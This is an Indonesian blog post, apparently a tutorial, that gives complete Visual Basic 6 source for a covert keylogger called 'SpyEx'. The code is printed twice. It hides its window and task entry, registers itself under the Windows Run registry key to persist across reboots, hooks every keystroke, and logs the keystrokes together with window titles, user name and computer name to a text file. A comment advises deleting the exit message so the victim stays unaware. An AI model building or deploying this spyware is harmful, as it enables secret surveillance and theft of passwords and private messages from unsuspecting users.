Buat Project baru pada Visual basic, tambahkan 1 Form dan 1 Module. Pada Form tambahkan juga 1 Timer, Aturlah Properties Timmer Interval=0.
Ketiklah Kode program berikut ini.
- FORM CODE-
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Dim title As String, last As String, strInfo As String, fileName As String
Dim handle As Long, length As Long
Dim i As Integer
Dim fso As New FileSystemObject, txt As TextStream
Private Sub Form_Load()
'Atur Path untuk LOG file
fileName = App.Path & "\SpyEx.txt"
Set txt = fso.OpenTextFile(fileName, ForAppending, True)
txt.WriteLine ("Started: " & Now)
Set objNet = CreateObject("WScript.NetWork")
strInfo = "User Name: " & objNet.UserName & vbCrLf & _
"Computer Name: " & objNet.ComputerName & vbCrLf
txt.WriteLine (vbNewLine & strInfo)
keyChar = Array(8, 9, 160, 17, 18, 35, 36, 46, 91, 92, _
112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, _
32, 106, 107, 109, 110, 111, 186, 187, 188, 189, 190, 191, _
192, 219, 220, 221, 222, 96, 97, 98, 99, 100, 101, 102, 103, _
104, 105)
keyList = Array("BACK", "TAB", "SHIFT", "CTRL", "ALT", "END", "HOME", _
"DEL", "LWIN", "RWIN", "F1", "F2", "F3", "F4", "F5", "F6", "F7", _
"F8", "F9", "F10", "F11", "F12", " ", "*", "+", "-", ".", "/", ";", _
"=", ",", "-", ".", "/", "`", "[", "\", "[", "'", "0", "1", "2", "3", "4", _
"5", "6", "7", "8", "9")
App.TaskVisible = False
Me.Hide
startup '// ===> Aktifkan Keylogger setiap Windows Start
Timer1.Interval = 1
KeyboardHook
End Sub
Private Sub Form_Terminate()
Unhook
hook = 0
End Sub
Private Sub Form_Unload(Cancel As Integer)
txt.Write (vbNewLine & "Ended: " & Now & vbNewLine & vbNewLine)
txt.Close
Unhook
hook = 0
End Sub
Private Sub Timer1_Timer()
last = title
handle = GetForegroundWindow
length = GetWindowTextLength(handle)
title = String(length, Chr$(0))
GetWindowText handle, title, length + 1
If title <> last And last <> "" Then
txt.WriteLine ("<<" & last & ">>" & vbTab & keys)
keys = ""
End If
End Sub
-MODULE CODE-
Private Type KBDLLHOOKSTRUCT
code As Long
End Type
Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Const WH_KEYBOARD_LL = 13&
Private Const WM_KEYDOWN = &H100
Private Const READ_CONTROL As Long = &H20000
Private Const STANDARD_RIGHTS_WRITE As Long = (READ_CONTROL)
Private Const KEY_SET_VALUE As Long = &H2
Private Const KEY_CREATE_SUB_KEY As Long = &H4
Private Const SYNCHRONIZE As Long = &H100000
Private Const KEY_WRITE As Long = _
((STANDARD_RIGHTS_WRITE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY) And (Not SYNCHRONIZE))
Private Const HKEY_LOCAL_MACHINE As Long = &H80000002
Private Const REG_SZ As Long = 1
Private hook As Long
Dim hookKey As KBDLLHOOKSTRUCT
Public intercept As Boolean
Public keyCode As Long, keys As String, keyList, keyChar
Dim subKey As String, key As Long, str As String, size As Long
Public Function startup()
subKey = "software\microsoft\windows\currentversion\run"
str = App.Path & "\" & App.EXEName & ".exe"
size = Len(str)
RegOpenKeyEx HKEY_LOCAL_MACHINE, subKey, 0, KEY_WRITE, key
RegSetValueEx key, "SpyEx", 0, REG_SZ, ByVal str, size
RegCloseKey key
End Function
Public Function KeyboardProc(ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
If wParam = WM_KEYDOWN Then
Call CopyMemory(hookKey, ByVal lParam, Len(hookKey))
keyCode = hookKey.code
For i = 0 To 21
If keyCode = keyChar(i) Then keys = keys & "[" & keyList(i) & "]"
Next
For i = 22 To 47
If keyCode = keyChar(i) Then keys = keys & keyList(i)
Next
If (keyCode >= 48 And keyCode <= 57) Or (keyCode >= 65 And keyCode <= 90) Then
keys = keys & Chr(keyCode)
ElseIf keyCode = 13 Then
keys = keys & vbNewLine & vbTab
ElseIf keyCode = 123 Then
' MsgBox "SpyEx is closing... The output file is located in " & App.Path & "\SpyEx.txt", vbCritical, "SpyEx" // ====> Sebaiknya dibuang saja
Unload Form1
End If
End If
KeyboardProc = CallNextHookEx(hook, ncode, wParam, lParam)
End Function
Public Function KeyboardHook()
hook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KeyboardProc, App.hInstance, 0&)
End Function
Public Function Unhook()
Call UnhookWindowsHookEx(hook)
hook = 0
Unhook = 1
End Function
++++++++++++++++++++++++++++++++++++++++++++++++++
NOTE: Untuk menonaktifkan Keylogger dari memory, tekan tombol [F12]
Ketiklah Kode program berikut ini.
- FORM CODE-
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Dim title As String, last As String, strInfo As String, fileName As String
Dim handle As Long, length As Long
Dim i As Integer
Dim fso As New FileSystemObject, txt As TextStream
Private Sub Form_Load()
'Atur Path untuk LOG file
fileName = App.Path & "\SpyEx.txt"
Set txt = fso.OpenTextFile(fileName, ForAppending, True)
txt.WriteLine ("Started: " & Now)
Set objNet = CreateObject("WScript.NetWork")
strInfo = "User Name: " & objNet.UserName & vbCrLf & _
"Computer Name: " & objNet.ComputerName & vbCrLf
txt.WriteLine (vbNewLine & strInfo)
keyChar = Array(8, 9, 160, 17, 18, 35, 36, 46, 91, 92, _
112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, _
32, 106, 107, 109, 110, 111, 186, 187, 188, 189, 190, 191, _
192, 219, 220, 221, 222, 96, 97, 98, 99, 100, 101, 102, 103, _
104, 105)
keyList = Array("BACK", "TAB", "SHIFT", "CTRL", "ALT", "END", "HOME", _
"DEL", "LWIN", "RWIN", "F1", "F2", "F3", "F4", "F5", "F6", "F7", _
"F8", "F9", "F10", "F11", "F12", " ", "*", "+", "-", ".", "/", ";", _
"=", ",", "-", ".", "/", "`", "[", "\", "[", "'", "0", "1", "2", "3", "4", _
"5", "6", "7", "8", "9")
App.TaskVisible = False
Me.Hide
startup '// ===> Aktifkan Keylogger setiap Windows Start
Timer1.Interval = 1
KeyboardHook
End Sub
Private Sub Form_Terminate()
Unhook
hook = 0
End Sub
Private Sub Form_Unload(Cancel As Integer)
txt.Write (vbNewLine & "Ended: " & Now & vbNewLine & vbNewLine)
txt.Close
Unhook
hook = 0
End Sub
Private Sub Timer1_Timer()
last = title
handle = GetForegroundWindow
length = GetWindowTextLength(handle)
title = String(length, Chr$(0))
GetWindowText handle, title, length + 1
If title <> last And last <> "" Then
txt.WriteLine ("<<" & last & ">>" & vbTab & keys)
keys = ""
End If
End Sub
-MODULE CODE-
Private Type KBDLLHOOKSTRUCT
code As Long
End Type
Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Const WH_KEYBOARD_LL = 13&
Private Const WM_KEYDOWN = &H100
Private Const READ_CONTROL As Long = &H20000
Private Const STANDARD_RIGHTS_WRITE As Long = (READ_CONTROL)
Private Const KEY_SET_VALUE As Long = &H2
Private Const KEY_CREATE_SUB_KEY As Long = &H4
Private Const SYNCHRONIZE As Long = &H100000
Private Const KEY_WRITE As Long = _
((STANDARD_RIGHTS_WRITE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY) And (Not SYNCHRONIZE))
Private Const HKEY_LOCAL_MACHINE As Long = &H80000002
Private Const REG_SZ As Long = 1
Private hook As Long
Dim hookKey As KBDLLHOOKSTRUCT
Public intercept As Boolean
Public keyCode As Long, keys As String, keyList, keyChar
Dim subKey As String, key As Long, str As String, size As Long
Public Function startup()
subKey = "software\microsoft\windows\currentversion\run"
str = App.Path & "\" & App.EXEName & ".exe"
size = Len(str)
RegOpenKeyEx HKEY_LOCAL_MACHINE, subKey, 0, KEY_WRITE, key
RegSetValueEx key, "SpyEx", 0, REG_SZ, ByVal str, size
RegCloseKey key
End Function
Public Function KeyboardProc(ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
If wParam = WM_KEYDOWN Then
Call CopyMemory(hookKey, ByVal lParam, Len(hookKey))
keyCode = hookKey.code
For i = 0 To 21
If keyCode = keyChar(i) Then keys = keys & "[" & keyList(i) & "]"
Next
For i = 22 To 47
If keyCode = keyChar(i) Then keys = keys & keyList(i)
Next
If (keyCode >= 48 And keyCode <= 57) Or (keyCode >= 65 And keyCode <= 90) Then
keys = keys & Chr(keyCode)
ElseIf keyCode = 13 Then
keys = keys & vbNewLine & vbTab
ElseIf keyCode = 123 Then
' MsgBox "SpyEx is closing... The output file is located in " & App.Path & "\SpyEx.txt", vbCritical, "SpyEx" // ====> Sebaiknya dibuang saja
Unload Form1
End If
End If
KeyboardProc = CallNextHookEx(hook, ncode, wParam, lParam)
End Function
Public Function KeyboardHook()
hook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KeyboardProc, App.hInstance, 0&)
End Function
Public Function Unhook()
Call UnhookWindowsHookEx(hook)
hook = 0
Unhook = 1
End Function
++++++++++++++++++++++++++++++++++++++++++++++++++
NOTE: Untuk menonaktifkan Keylogger dari memory, tekan tombol [F12]
Tidak ada komentar :
Posting Komentar
☑ Berkomentarlah di blog ini dengan Etika yang Baik dan Cerdas
✗ Jangan mencantumkan link...
ex: http://xxx
✗ Jangan berkomentar yang mengandung SARA atau hal yang NEGATIF lainnya !!
✗ Jangan sampai komentarmu masuk ke dalam SPAM !!
(◕‿-) TERIMA KASIH SUDAH BERKUNJUNG (-‿◕)